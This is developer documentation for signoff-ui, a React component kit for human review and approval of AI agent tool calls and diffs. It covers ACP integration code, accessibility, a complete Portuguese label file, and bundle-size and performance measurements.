```tsx title="components/use-acp-turn.tsx"
'use client';
import type { Agent, Client, RequestPermissionResponse } from '@agentclientprotocol/sdk';
import { useRef, useState } from 'react';
import type { ApprovalDecision } from 'signoff-ui';
import {
answerAcpPermission,
createAcpTurn,
endAcpTurn,
reduceAcpTurn,
requestAcpPermission,
toAcpPermissionResponse,
type AcpTurn,
} from 'signoff-ui/acp';
/** One prompt turn at a time: the client half of the connection, and what the components render. */
export function useAcpTurn() {
const [turn, setTurn] = useState();
const waiting = useRef(new Map void>());
// Pass it to the connection: new ClientSideConnection(() => client, stream).
const [client] = useState(() => ({
sessionUpdate: (params) => setTurn((t) => t && reduceAcpTurn(t, params)),
requestPermission: (params) =>
new Promise((resolve) => {
waiting.current.set(params.toolCall.toolCallId, resolve);
setTurn((t) => t && requestAcpPermission(t, params));
}),
}));
async function prompt(agent: Agent, sessionId: string, text: string) {
setTurn(createAcpTurn());
try {
const response = await agent.prompt({ sessionId, prompt: [{ type: 'text', text }] });
setTurn((t) => t && endAcpTurn(t, response));
} catch (error) {
setTurn((t) => t && endAcpTurn(t, { error: { message: String(error) } }));
}
}
function decide(toolCallId: string, decision: ApprovalDecision) {
const options = turn?.permissions[toolCallId]?.options ?? [];
setTurn((t) => t && answerAcpPermission(t, toolCallId, decision));
waiting.current.get(toolCallId)?.(toAcpPermissionResponse(decision, options));
waiting.current.delete(toolCallId);
}
return { turn, client, prompt, decide };
}
```
The connection itself, `ClientSideConnection` from `@agentclientprotocol/sdk` over the agent's stdio or a bridge, is up to your app: these functions only fold what it receives.
### Render it
`AgentMessage` renders the turn. For a call waiting on its permission request, render an `ApprovalCard` that offers the agent's options, with the diff of an edit as its preview:
```tsx title="components/acp-turn.tsx"
'use client';
import { AgentMessage, ApprovalCard, DiffReview, getApprovalStatus, type ApprovalDecision } from 'signoff-ui';
import { acpToolName, decisionsFromAcpOptions, fromAcpDiffs, toAcpMessage, type AcpTurn } from 'signoff-ui/acp';
export function AcpTurnView({
turn,
cwd,
decide,
}: {
turn: AcpTurn;
cwd: string;
decide: (id: string, d: ApprovalDecision) => void;
}) {
const active = turn.status === 'submitted' || turn.status === 'streaming';
return (
{
const permission = turn.permissions[part.toolCallId];
if (!permission) return undefined;
const call = turn.toolCalls[part.toolCallId]!;
const files = fromAcpDiffs(call.content, { root: cwd });
return (
0 ? : undefined}
status={getApprovalStatus(part)}
decision={permission.decision === 'cancelled' ? undefined : permission.decision}
// The agent's options. It keeps what "always" means, so the card shows no argument patterns.
ruleScope={false}
decisions={decisionsFromAcpOptions(permission.options).filter((d) => d !== 'allow-session')}
onDecide={(choice) => decide(part.toolCallId, choice.decision)}
/>
);
}}
/>
);
}
```
`toAcpPermissionResponse(decision, options)` selects the option of the same kind: `allow-once` is `allow_once`, `allow-always` is `allow_always`, `deny-once` is `reject_once` and `deny-always` is `reject_always`. With no option of that kind, the request is canceled. `decisionsFromAcpOptions` also offers `allow-session`, which answers `allow_once` and leaves the session rule to your `useApprovalPolicy`; the example above leaves it out.
### How a turn maps
| ACP | Becomes |
| ----------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| `agent_message_chunk`, `agent_thought_chunk` (text) | `text` and `reasoning` parts, consecutive chunks joined, the last one `streaming` until the turn ends |
| `tool_call`, `tool_call_update` | a `dynamic-tool` part per call, updates merged by id (`null` and missing fields keep their value) |
| the tool's `name`, else `kind`, else `title` | the part's `toolName`, which approval rules match; `title` is the part's `title` |
| `pending`, `in_progress` | `input-available`, shown running |
| `completed` | `output-available`, the output being `rawOutput`, else the text of its content |
| `failed` | `output-error`, with the text of its content |
| `session/request_permission` (`requestAcpPermission`) | `approval-requested`, the tool call id as the approval id |
| `answerAcpPermission(turn, id, decision)` | `approval-responded` (then the output, approval kept), or `output-denied`, also when the request was canceled |
| `session/prompt` returns (`endAcpTurn`) | `status: 'ready'` and its `stopReason`, or `'error'`: a call left running then reads as stopped |
| `diff` content (`fromAcpDiffs`) | `DiffReview` files, paths relative to `root` (the session's `cwd`), a diff with no `oldText` a new file |
User message chunks, plans, available commands, mode, config and usage updates are left out of the message. `toAcpDiffs` goes the other way, from files to diff content.
### What it does not do yet
ACP's permission request is all or nothing: the agent offers allow and reject, and nothing in between. So the card above approves or rejects a whole edit, with its diff to read. Accepting some hunks of an edit and rejecting others would mean the client applying the edit itself, through `fs/write_text_file`, which this entry does not do.
## Accessibility
> Keyboard shortcuts scoped to focus, managed focus, announcements, contrast and how they are tested, with axe in jsdom and in Chrome.
Source: https://signoff-ui.vercel.app/docs/accessibility
Review and approval are where a person has to read carefully and decide quickly, so every component is built to work from the keyboard and with a screen reader. Each component's page lists its keys and what it announces; this page is what they share.
### Keyboard first
Every action is a real button. Single-key shortcuts (Y and N on an approval card; J, K, A, R, U, C, E and V in a diff review) only fire while focus is inside the component, which keeps them compliant with WCAG 2.1.4 and out of the way of text fields. They are exposed through `aria-keyshortcuts` and described in visually hidden text. The page-wide ⌘ or Ctrl + Enter approval is opt-in, because it collides with most chat composers.
### Focus is managed, never lost
Deciding an approval moves focus to the card instead of dropping it on ``. Diff hunks use a roving tabindex, so the review is one tab stop that arrow and letter keys navigate; its file list is one more. Writing a comment moves focus to its text area and back to the hunk when it closes. Tool calls follow the disclosure pattern with arrow-key movement. In a run of more than 150 calls, the timeline renders those near the screen; the arrow keys, Home and End still move between all of them, scrolling one that isn't rendered into view, and each call that renders gives its place in the whole list.
### Scrolling content is reachable
Code blocks, tables, command previews, diff hunks and the compact run meter scroll sideways when they don't fit. While they do, they join the tab order as named groups ("Hunk 2 code, app/api/chat/route.ts"), so the arrow keys scroll them; once everything fits, they add no tab stop.
### Announcements
Tool completions and failures (calls that settle together, such as parallel calls, in one announcement), approval decisions, review progress ("Hunk 2 of 4 accepted. 2 remaining.") and agent state changes go through live regions. State announcements are debounced, and only approvals and errors are assertive.
### Not color alone
Every state has an icon and text, diff lines keep their + and − glyphs plus "Added:" and "Removed:" for screen readers, and risk levels are spelled out.
### In the reader's language
Accessible names, announcements and keyboard hints are labels like the visible text, so a [translation](https://signoff-ui.vercel.app/docs/labels) covers what a screen reader says too. Set `lang` on the page, or on the element that holds the components, so it is pronounced in that language. The keys themselves stay the same.
### Motion
All animation is behind `motion-safe`, and the number tweening in `RunMeter` honors `prefers-reduced-motion`.
### Contrast
A unit test parses the theme and enforces 4.5:1 for text in both themes: every text token on the surfaces it sits on, syntax colors on diff lines and word highlights (composited the way the diff paints its translucent backgrounds), and every text-on-tint class in the components, such as the accepted and rejected badges. UI and chart marks get 3:1. The chart colors were run through a color-vision-deficiency check.
The test covers the kit's own palette. If you map the tokens to your own, as [Theming](https://signoff-ui.vercel.app/docs/getting-started#theming) shows for shadcn/ui, check text contrast with yours.
### Document outline
Titles take a `headingLevel`; source lists are labeled lists and approval cards are named groups rather than landmarks, so a long conversation does not flood landmark navigation.
### How it's tested
Every component has axe checks in Vitest (jsdom). `pnpm a11y` also runs axe in Chrome against the playground at each stage of a run, the components page, the docs and a phone viewport, in the dark and light themes, which covers color contrast with real layout. CI runs both on every pull request, and both currently report no violations.
## Labels and translations
> Every word the components show or announce is a label: translate them all with one provider, or change a few, with a complete Portuguese example.
Source: https://signoff-ui.vercel.app/docs/labels
Every word the components show or announce, the visible text and what screen readers hear alike, comes from one object of labels. Translate it once and pass it to `SignoffLabelsProvider`, or pass part of it to a component's `labels` prop. There are 207 of them, 140 fixed strings and 67 functions, in twelve sections: one per component, one for `useApprovalPolicy`, and two shared ones, `format` for numbers and `common`.
### Translate everything
Labels hold functions, which cannot go from a Server Component to a Client Component, so render the provider from a module with `'use client'`, and keep the object stable: at module scope, as here, or memoized.
```tsx title="app/providers.tsx"
'use client';
import type { ReactNode } from 'react';
import { SignoffLabelsProvider } from 'signoff-ui';
import { pt } from './labels-pt';
export function Providers({ children }: { children: ReactNode }) {
return {children};
}
```
Type the translation as `SignoffLabels`, as the [Portuguese below](https://signoff-ui.vercel.app/docs/labels#portuguese) is: a label it misses, or one a new release adds, is then a type error rather than English on the page. Set `lang` on the page, or on the element that holds the components when the rest of the page is in another language (`
`), so screen readers pronounce the words in the right language.
### Change a few words
A partial object is enough: anything it leaves out stays English.
```tsx
```
Providers nest, the inner one winning key by key, and a component's own `labels` win over both, for it and for what it renders: `AgentMessage`'s apply to its timeline, approval cards and markdown too. Props that already took text, such as `title`, `submitLabel`, `approveLabel`, `denyLabel` and `reasonPlaceholder`, still win over the labels. For a hook or markup of your own, `useSignoffLabels()` returns the labels in effect, and `mergeLabels(defaultLabels, ...overrides)` builds the same merged object anywhere, the server included.
### Strings and functions
Fixed text is a string. Text built from values (counts, file paths, line numbers, tool names) is a function, so a translation can get its plurals, its gender agreement and its word order right:
```ts
files: (count) => `${count} ${count === 1 ? 'ficheiro' : 'ficheiros'}`,
decided: (kind, n, total, decision, remaining) => ...,
```
A few return parts, where the components style or hide one of them: `moreAfter`, `moreBefore` and `showAll` return `{ visible, hidden }`, what the button shows and what only screen readers hear after it; `commentHeading` returns `{ hidden, visible }`; `rememberedFor` returns `{ before, after }`, the words around the tool's name. `format` holds how numbers read: durations, the spoken durations of announcements, token counts, cost and percentages. The English ones are fixed and locale-stable; a translation can use `Intl.NumberFormat`, as the Portuguese does.
### What they do not cover
- **Words for the agent.** `reviewToolOutput`'s summary, `toToolApproval`'s reasons and the result objects' fields are read by the model, not by a person, and stay English. Pass `toToolApproval` a `reason` function to word its reasons yourself. A deny rule's reason is the exception, as the approval card shows it: it is `approvalPolicy.ruleDenial`, or the rule's own `reason`.
- **`deriveAgentState`'s detail** while the model writes: pass `writingResponse: labels.agentStatus.writingResponse`, since the helper runs outside any provider.
- **Keys.** J, K, A, R, Y, N and the rest are the same in every language, and so are their `aria-keyshortcuts`. The hints that name them are labels.
- **Your content.** Tool names, titles, descriptions, tool output and what `ToolMeta` renders are yours. A tool's displayed name defaults to its humanized name (`run_command` reads "Run command"), so give `ToolMeta` a `label` in your language.
- **Right-to-left layouts** have not been tested yet.
### How it's tested
A test renders every component through the states it has (pending, edited, decided, compared, commented on, streamed, stopped) with each label replaced by a marker and the content in Cyrillic, and fails on any English left on the page, in text, accessible names, titles or placeholders. It also fails on a label no state shows, so the states cover every label. A second test reads the components' source and fails on English written into it: text between tags, a string where a name or a placeholder goes, or one handed to the live region. The Portuguese below is the one the tests render, and its type checks that it is complete.
### Portuguese
Every label, in European Portuguese.
```ts title="labels-pt.ts" collapse
import type { SignoffLabels } from 'signoff-ui';
// Every label in European Portuguese. Typed as `SignoffLabels`, so a missing one fails to compile.
const plural = (n: number, one: string, many: string) => (n === 1 ? one : many);
const decimal = new Intl.NumberFormat('pt-PT', { maximumFractionDigits: 1 });
const compact = new Intl.NumberFormat('pt-PT', { notation: 'compact', maximumFractionDigits: 1 });
const usd = new Intl.NumberFormat('pt-PT', { style: 'currency', currency: 'USD', maximumSignificantDigits: 3 });
const valid = (n: number | undefined | null): n is number => n != null && Number.isFinite(n) && n >= 0;
const lines = (r: { side: 'new' | 'old'; startLine: number; endLine: number }) =>
`${r.startLine === r.endLine ? `a linha ${r.startLine}` : `as linhas ${r.startLine} a ${r.endLine}`}${r.side === 'old' ? ' do original' : ''}`;
export const pt: SignoffLabels = {
format: {
duration: (ms) => {
if (!valid(ms)) return '–';
if (Math.round(ms) < 1000) return `${Math.round(ms)} ms`;
const seconds = Math.round(ms / 1000);
if (ms < 60_000) return `${decimal.format(ms / 1000)} s`;
return `${Math.floor(seconds / 60)} min ${String(seconds % 60).padStart(2, '0')} s`;
},
durationLong: (ms) => {
if (!valid(ms)) return 'duração desconhecida';
if (Math.round(ms) < 1000) return `${Math.round(ms)} milissegundos`;
if (ms < 60_000) return `${decimal.format(ms / 1000)} segundos`;
const seconds = Math.round(ms / 1000);
const [m, s] = [Math.floor(seconds / 60), seconds % 60];
return `${m} ${plural(m, 'minuto', 'minutos')} e ${s} ${plural(s, 'segundo', 'segundos')}`;
},
tokens: (n) => (n == null || !Number.isFinite(n) ? '–' : compact.format(n)),
cost: (value) => (value == null || !Number.isFinite(value) ? '–' : usd.format(value)),
percent: (fraction) => new Intl.NumberFormat('pt-PT', { style: 'percent' }).format(fraction),
},
common: {
copied: 'Copiado',
copyThe: (what) => `Copiar ${what.toLowerCase()}`,
showAllLines: (count) => `Mostrar as ${count} linhas`,
showLess: 'Mostrar menos',
opensInNewTab: '(abre num novo separador)',
modKey: (mac) => (mac ? '⌘' : 'Ctrl'),
},
agentStatus: {
states: {
idle: 'Inativo',
thinking: 'A pensar',
working: 'A trabalhar',
'awaiting-approval': 'À espera de aprovação',
done: 'Concluído',
stopped: 'Parado',
error: 'Erro',
},
spoken: (state, detail) => (detail ? `${state}: ${detail}` : state),
writingResponse: 'A escrever a resposta',
},
toolCallTimeline: {
list: 'Chamadas de ferramentas',
phases: {
streaming: 'A preparar',
running: 'A executar',
'awaiting-approval': 'Precisa de aprovação',
success: 'Concluída',
error: 'Falhou',
denied: 'Recusada',
},
stopped: 'Interrompida',
finished: (name, duration) => `${name} terminou em ${duration}`,
failed: (name, error) => `${name} falhou: ${error ?? 'erro desconhecido'}`,
blockedByPolicy: (name) => `${name} foi bloqueada pela política`,
denied: (name) => `${name} foi recusada`,
input: 'Entrada',
inputStreaming: 'Entrada (a chegar)',
output: 'Saída',
outputPartial: 'Saída (parcial)',
error: 'Erro',
deniedBy: (automatic) => (automatic ? 'Bloqueada pela política' : 'Recusada pelo utilizador'),
waitingForInput: 'À espera da entrada…',
subagent: {
name: 'Subagente',
calls: (count) => `${count} ${plural(count, 'chamada', 'chamadas')}`,
list: (name) => `Chamadas de ferramentas de ${name}`,
paused: 'Em pausa',
},
},
approvalCard: {
required: 'Aprovação necessária',
risk: { low: 'Risco baixo', medium: 'Risco médio', high: 'Risco alto', critical: 'Crítico' },
command: 'Comando',
arguments: 'Argumentos',
approve: 'Aprovar',
session: 'Nesta sessão',
always: 'Sempre',
deny: 'Recusar',
alwaysDeny: 'Recusar sempre',
sendDenial: 'Enviar recusa',
confirm: 'Confirmar aprovação',
denyWithFeedback: 'Recusar com comentário',
reasonLabel: 'Diga ao agente porquê (opcional)',
reasonPlaceholder: 'O que deve o agente fazer em vez disto?',
approveHint: 'aprovar',
keyboardHint: (offered, mod) =>
`Teclado: prima ${[
offered.approve && 'Y para aprovar',
offered.session && 'S para aprovar nesta sessão',
offered.always && 'A para aprovar sempre',
offered.deny && 'N para recusar',
offered.alwaysDeny && 'Shift N para recusar sempre',
]
.filter(Boolean)
.join(', ')}, ou ${mod} Enter para aprovar.`,
resolved: {
'allow-once': 'Aprovado',
'allow-session': 'Aprovado nesta sessão',
'allow-always': 'Aprovado sempre',
'deny-once': 'Recusado',
'deny-always': 'Recusado sempre',
},
approved: 'Aprovado',
denied: 'Recusado',
autoApproved: 'Aprovado automaticamente',
blockedByPolicy: 'Bloqueado pela política',
allowedByRule: 'Permitido pela sua regra',
deniedByRule: 'Recusado pela sua regra',
describeRule: (rule) => {
const args = Object.entries(rule.args ?? {});
const tool = rule.tool === '*' ? 'qualquer ferramenta' : rule.tool.replace(/\\(.)/g, '$1');
return args.length === 0
? `${tool}, quaisquer argumentos`
: `${tool} com ${args.map(([name, pattern]) => `${name} ${pattern}`).join(', ')}`;
},
critical: 'Ação crítica. Prima aprovar outra vez para confirmar.',
invalidJson: 'Os argumentos não são JSON válido.',
editArguments: 'Editar argumentos',
doneEditing: 'Concluir edição',
undoEdits: 'Desfazer edições',
edited: 'Editado: ao aprovar, corre com os novos argumentos.',
argumentsJson: 'Argumentos, em JSON',
notValidJson: (error) => `JSON inválido: ${error}`,
ruleLegend: 'Chamadas abrangidas por uma decisão duradoura',
rememberedFor: (any) => ({
before: 'Fica memorizado para ',
after: any ? ' com quaisquer argumentos.' : ' quando:',
}),
argumentMatches: (name) => `${name} corresponde a`,
anyArguments: 'Quaisquer argumentos',
globHelp: '* corresponde a qualquer texto exceto operadores da shell (; & | > < e acentos graves); ** a tudo.',
batch: {
group: 'Aprovações pendentes',
waiting: (count) => `${count} aprovações à espera.`,
approveAll: 'Aprovar todas',
denyAll: 'Recusar todas',
confirm: 'Confirmar aprovar todas',
critical: 'Uma delas é crítica. Prima Aprovar todas outra vez para confirmar.',
answered: (count, approved) => `${count} aprovações ${approved ? 'aprovadas' : 'recusadas'}.`,
},
},
diffReview: {
title: 'Rever alterações',
layout: 'Disposição do diff',
views: { unified: 'Unificado', split: 'Lado a lado' },
files: (count) => `${count} ${plural(count, 'ficheiro', 'ficheiros')}`,
hunks: (count, comparing) => `${count} ${plural(count, 'bloco', 'blocos')}${comparing ? ' até agora' : ''}`,
status: {
modified: { letter: 'M', name: 'Modificado' },
added: { letter: 'A', name: 'Adicionado' },
deleted: { letter: 'E', name: 'Eliminado' },
renamed: { letter: 'R', name: 'Renomeado' },
},
navigator: 'Ficheiros nesta revisão',
navigatorState: (decided, total, viewed) => `, ${decided} de ${total} decididos${viewed ? ', visto' : ''}`,
comparingShort: 'a comparar…',
renamedTo: 'para',
toggleFile: (collapsed, path) => `${collapsed ? 'Mostrar' : 'Ocultar'} ${path}`,
viewed: 'Visto',
rejectFile: 'Rejeitar ficheiro',
acceptFile: 'Aceitar ficheiro',
comparing: 'A comparar alterações…',
fallback:
'Demasiadas alterações para comparar linha a linha: as linhas alteradas aparecem como um só bloco que as substitui.',
noChanges: 'Sem alterações de texto.',
wholeFile: (status, binary, oldPath) =>
binary
? 'Ficheiro binário, não mostrado.'
: status === 'renamed'
? `Renomeado de ${oldPath}, sem alterações.`
: status === 'deleted'
? 'Ficheiro vazio, eliminado.'
: 'Novo ficheiro vazio.',
accept: 'Aceitar',
reject: 'Rejeitar',
itemName: (kind, n) => `${kind === 'hunk' ? 'bloco' : 'alteração'} ${n}`,
acceptItem: (item) => `Aceitar ${item}`,
rejectItem: (item) => `Rejeitar ${item}`,
resetItem: (item) => `Repor ${item}`,
commentOn: (what) => `Comentar ${what}`,
badge: { accepted: 'aceite', rejected: 'rejeitado' },
hunk: (n, total, path, from, to, decision) =>
`Bloco ${n} de ${total}, ${path}, linhas ${from} a ${to}, ${
decision === 'pending' ? 'por rever' : decision === 'accepted' ? 'aceite' : 'rejeitado'
}`,
fileItem: (n, total, path, what, decision) =>
`Alteração ${n} de ${total}, ${path}, ${what}, ${
decision === 'pending' ? 'por rever' : decision === 'accepted' ? 'aceite' : 'rejeitada'
}`,
describeFile: (status, binary, oldPath) =>
binary
? 'ficheiro binário'
: status === 'renamed'
? `renomeado de ${oldPath}`
: status === 'deleted'
? 'ficheiro vazio eliminado'
: 'novo ficheiro vazio',
hunkCode: (n, path) => `Código do bloco ${n}, ${path}`,
added: 'Adicionada: ',
removed: 'Removida: ',
decided: (kind, n, total, decision, remaining) => {
const hunk = kind === 'hunk';
const word =
decision === 'pending'
? hunk
? 'reposto'
: 'reposta'
: decision === 'accepted'
? 'aceite'
: hunk
? 'rejeitado'
: 'rejeitada';
return `${hunk ? 'Bloco' : 'Alteração'} ${n} de ${total} ${word}. ${
remaining === 0 ? 'Todos os blocos revistos.' : `${remaining} por rever.`
}`;
},
decidedAll: (total, decision) => `Os ${total} blocos foram ${decision === 'accepted' ? 'aceites' : 'rejeitados'}.`,
decidedFile: (count, path, decision) =>
count === 1
? `O bloco de ${path} foi ${decision === 'accepted' ? 'aceite' : 'rejeitado'}.`
: `Os ${count} blocos de ${path} foram ${decision === 'accepted' ? 'aceites' : 'rejeitados'}.`,
viewedAnnouncement: (path, viewed, total) => `${path} visto. ${viewed} de ${total} ficheiros vistos.`,
notViewedAnnouncement: (path) => `${path} deixou de estar visto.`,
lines,
selected: (line, range) =>
`${line}. ${range.startLine === range.endLine ? `Linha ${range.startLine} selecionada` : `Linhas ${range.startLine} a ${range.endLine} selecionadas`}${range.side === 'old' ? ' no original' : ''}.`,
where: (comment) =>
comment.target === 'file'
? 'o ficheiro'
: comment.target === 'hunk'
? 'o bloco'
: lines({ side: 'new', startLine: comment.startLine ?? 0, endLine: comment.endLine ?? 0 }),
commentHeading: (where) => ({ hidden: 'Comentário ', visible: `Sobre ${where}` }),
commentField: (where) => `Comentário sobre ${where}, para o agente`,
commentPlaceholder: 'O que deve mudar aqui?',
editComment: (where) => `Editar comentário sobre ${where}`,
deleteComment: (where) => `Eliminar comentário sobre ${where}`,
edit: 'Editar',
delete: 'Eliminar',
cancel: 'Cancelar',
saveComment: 'Guardar comentário',
addComment: 'Comentar',
commentAdded: (where, path) => `Comentário adicionado sobre ${where} de ${path}.`,
commentUpdated: 'Comentário atualizado.',
commentDeleted: 'Comentário eliminado.',
unchangedLines: (count) => `${count} ${plural(count, 'linha inalterada', 'linhas inalteradas')}`,
moreAfter: (count, hunk) => ({ visible: `mais ${count}`, hidden: ` linhas inalteradas depois do bloco ${hunk}` }),
moreBefore: (count, hunk) => ({ visible: `mais ${count}`, hidden: ` linhas inalteradas antes do bloco ${hunk}` }),
showAll: (count) => ({ visible: 'Mostrar todas', hidden: ` as ${count} linhas inalteradas` }),
expanded: (count) => `A mostrar mais ${count} ${plural(count, 'linha inalterada', 'linhas inalteradas')}.`,
reviewed: 'revistos',
filesViewed: (viewed, total) => `${viewed} de ${total} ficheiros vistos`,
comments: (count) => `${count} ${plural(count, 'comentário', 'comentários')}`,
comparingFiles: 'a comparar ficheiros…',
skipped: 'os blocos por rever ficam de fora',
apply: (accepted, total) => (accepted > 0 ? `Aplicar ${accepted} de ${total}` : 'Aplicar alterações'),
acceptAll: 'Aceitar tudo',
rejectAll: 'Rejeitar tudo',
keyHints: { move: 'mover', accept: 'aceitar', reject: 'rejeitar', comment: 'comentar', apply: 'aplicar' },
keyboardHelp: (mod) =>
`Teclado: J ou K para mudar de bloco, Shift J ou Shift K para mudar de ficheiro, A para aceitar, R para rejeitar, U para repor, Alt A ou Alt R para o ficheiro inteiro, Shift A ou Shift R para todos os blocos, Shift com a seta para cima ou para baixo para selecionar linhas, C para as comentar ou comentar o bloco, E para mostrar mais linhas inalteradas, V para marcar o ficheiro como visto, ${mod} Enter para aplicar.`,
},
markdown: {
code: (language) => (language && language !== 'text' ? `Código, ${language}` : 'Código'),
codeBadge: 'código',
copyCode: 'Copiar código',
table: 'Tabela',
image: 'Imagem:',
imageFallback: 'imagem',
citation: (n) => `Fonte ${n}`,
},
reasoning: {
thinking: 'A pensar',
thoughtFor: (duration) => `Pensou durante ${duration}`,
reasoning: 'Raciocínio',
},
runMeter: {
title: 'Execução',
metrics: (live) => `Métricas da execução${live ? ' (ao vivo)' : ''}`,
summary: ({ input, output, cost, ttft, total }) =>
[
`${input} tokens de entrada`,
`${output} tokens de saída`,
cost !== undefined ? `custo estimado ${cost}` : undefined,
ttft !== undefined ? `tempo até ao primeiro token ${ttft}` : undefined,
total !== undefined ? `total ${total}` : undefined,
]
.filter(Boolean)
.join(', '),
inputTokens: 'Tokens de entrada',
outputTokens: 'Tokens de saída',
estimatedCost: 'Custo estimado',
timeToFirstToken: 'Tempo até ao primeiro token',
totalTime: 'Tempo total',
ttft: 'TTFT',
live: 'Ao vivo',
tokens: 'Tokens',
estCost: 'Custo est.',
breakdown: 'Detalhe dos tokens',
split: (input, output) => `Entrada ${input} · Saída ${output}`,
input: 'Entrada',
output: 'Saída',
cached: (n) => `(${n} em cache)`,
reasoningTokens: (n) => `(${n} de raciocínio)`,
total: 'Total',
cacheHit: 'Acertos na cache',
costSplit: (input, output) => `${input} entrada · ${output} saída`,
rates: (input, output) => `US$ ${input}/${output} por 1M`,
},
approvalPolicy: { ruleDenial: 'Recusado por uma regra' },
sources: { label: 'Fontes', document: 'Documento' },
agentMessage: { attachedImage: 'Imagem anexada' },
};
```
## Performance and limits
> Bundle size per import, the stylesheet, known limitations with measured numbers, and what comes next.
Source: https://signoff-ui.vercel.app/docs/limits
What the components cost, where they slow down, and what they don't do yet. The numbers are measured from this repository; the commands that measure them are named next to each.
### Bundle size
What each import adds to an app's JavaScript, minified and gzipped. React and React DOM are left out, since the app has them; the kit's own dependencies are counted (react-markdown and remark-gfm, jsdiff, two Radix primitives, clsx and tailwind-merge). Rows share most of those, so two components together cost less than the sum of their rows.
| Import | Gzipped |
| ------------------------------------------------------------------ | -------: |
| `addUsage`, `estimateCost` from `/core` (for a route handler) | 0.4 kB |
| `toToolApproval` from `/core` (approval rules in a route handler) | 0.9 kB |
| ACP converters from `/acp` | 1.6 kB |
| `useApprovalPolicy` (the rules without markup) | 2.2 kB |
| `useAgUiAgent` from `/ag-ui` | 3.5 kB |
| `applyHunks`, `parseFileChange` from `/core` (with jsdiff) | 6.6 kB |
| `Sources` | 10.3 kB |
| `AgentStatus` | 11.2 kB |
| `RunMeter` | 12.5 kB |
| `useDiffReview` (the review without markup) | 15.4 kB |
| `ApprovalCard` | 18.5 kB |
| `ToolCallTimeline` | 22.6 kB |
| `AgentMessage` from `/custom-markdown` (with your own renderer) | 32.6 kB |
| `DiffReview` | 41.3 kB |
| `signoffTools` from `/assistant-ui` (with DiffReview, approvals) | 50.2 kB |
| `AgentMessage` (markdown, reasoning, timeline, approvals, sources) | 86.0 kB |
| Everything in the main entry | 120.8 kB |
Measured with `pnpm size`, which bundles each import from the built package with Rolldown and gzips it. CI runs it on every pull request, with a budget per row about 5% over its size. Most of `AgentMessage` is the markdown parser: `Markdown` alone is 64.0 kB. An app with its own renderer can [import `AgentMessage` without it](https://signoff-ui.vercel.app/docs/components/agent-message#your-own-markdown-renderer), and CI checks that react-markdown stays out of that bundle. Each component carries the English labels of the sections it reads, not the others.
`DiffReview`'s diff worker is a separate file the bundler emits, loaded only when a file is too large to diff while rendering: 18 kB minified, with jsdiff, in a Vite build.
`styles.css` adds 9.9 kB gzipped, 269 kB uncompressed. Most of that is the selector each rule carries so that it styles the components' own elements and never your content inside them. With Tailwind v4, `tailwind.css` adds the tokens, and your build generates only the utilities the components use.
### Large diffs
`DiffReview` on large files, in Chrome with React's production build, on an Apple M1 Max. Ready is when every file is compared and on screen; the longest task is the longest the page could not respond; the keypress is one decision from the keyboard.
| Case | First render | Ready | Longest task | DOM elements | Keypress |
| -------------------------------- | -----------: | -----: | -----------: | -----------: | -------: |
| Local edits, 1,000 lines | 56 ms | 56 ms | 69 ms | 4,442 | 3.4 ms |
| Local edits, 5,000 lines | 77 ms | 78 ms | 93 ms | 5,305 | 6.4 ms |
| Full rewrite, 2,000 lines | 16 ms | 241 ms | none | 3,833 | 0.9 ms |
| Full rewrite, 5,000 lines | 17 ms | 265 ms | 53 ms | 4,073 | 0.9 ms |
| Full rewrite, 5,000 lines, split | 17 ms | 283 ms | 68 ms | 7,322 | 1.2 ms |
Measured with `pnpm perf`, which CI runs on every pull request with a budget per case, several times these numbers so shared runners pass. Before these changes a 5,000-line rewrite blocked the page for 3.3 s, left 260,000 elements and took 77 ms per keypress. Three things keep it fast:
- **A limit on the diff.** Diffing costs about the square of the lines added plus removed. Past `maxEditLength` (2,000 by default, about 0.2 s), the changed region, from its first changed line to its last, becomes one hunk that replaces it, and the review says so. Lines only added or only removed never count against it, nor do unchanged lines before and after the region.
- **A worker.** A file that needs more than 300 edits is diffed in a worker, and shows "Comparing changes…" until it is done; smaller ones are diffed while rendering, on the server too. Webpack 5, Next.js (webpack or Turbopack) and Vite emit the worker without configuration. Where none is available, or `diffWorker={false}`, the file is diffed on the main thread after the first paint: the 5,000-line rewrite then blocks for about 0.17 s.
- **Only what is near the screen.** A review with more than 400 rows renders, of each hunk, the rows within about 800 px of what is visible, also inside a scrolling chat panel. The others keep their height, and their lines as visually hidden text, so a screen reader and find-in-page still have every line. Hunks always render, so focus, J and K, and their names are the same.
### Long runs
`ToolCallTimeline` on a run of 2,000 calls, each with its timing so the waterfall shows, in Chrome with React's production build, on an Apple M1 Max. Appending a call is the main thread's time for the update and for the frame that shows it, without the wait for that frame to start; the frame is the 95th percentile while a call runs and its clock ticks.
| Case | First render | Append a call | Frame, a call running | DOM elements | Calls rendered |
| ---------------- | -----------: | ------------: | --------------------: | -----------: | -------------: |
| 2,000 tool calls | 41 ms | 2.2 ms | 18 ms | 1,538 | 81 |
Measured with `pnpm perf`, with a budget per case; the append's is 16 ms, under a frame, and it measures 12 ms with the CPU six times slower. Before these changes the same run took 440 ms to render, 105 ms per appended call and 50 ms frames while a call ran, and left 36,000 elements. Three things keep it fast:
- **Only what is near the screen.** A timeline with more than 150 calls renders, in chunks of 25, the calls within about 800 px of what is visible. A chunk away from it keeps its height as one empty item. A chunk holding an open call, a call still going or focus stays rendered. The calls that render say where they are in the whole list (`aria-posinset`, `aria-setsize`), and the arrow keys, Home and End move between all the calls, bringing one that isn't rendered into view.
- **Only the calls that change render again.** A new call, or a running call's clock, renders that call, not the others. The waterfall's bars are placed from each call's times and the timeline's span, which is set on the bars that are rendered.
- **No animation left running.** A call slides in when it arrives, and the animation ends there.
### Known limitations
- **Large rewrites.** A file changed in more places than `maxEditLength` is reviewed as one hunk that replaces the changed region, without word-level highlights; raise the limit to compare it line by line, at the square of the cost. Long changed lines skip word-level highlights rather than stall.
- **Lines are commented on, not decided.** A review accepts or rejects whole hunks, or whole files. Lines can be selected to comment on, and the agent gets the comment with its lines, but a hunk cannot be applied in part.
- **Patches without binaries.** `toPatch()` lists an accepted binary file as changed, without its contents, so `git apply` cannot apply that part; the file's own `content` in the result has it, when you passed contents.
- **Edited arguments and signed approvals.** With AI SDK 7's `experimental_toolApprovalSecret`, the server signs the arguments it asked about and refuses any other, so arguments edited before approving fail there by design. ACP's `request_permission` has no way to answer with edited arguments, nor a session option: `allow-session` answers `allow_once` and keeps the session rule on the client.
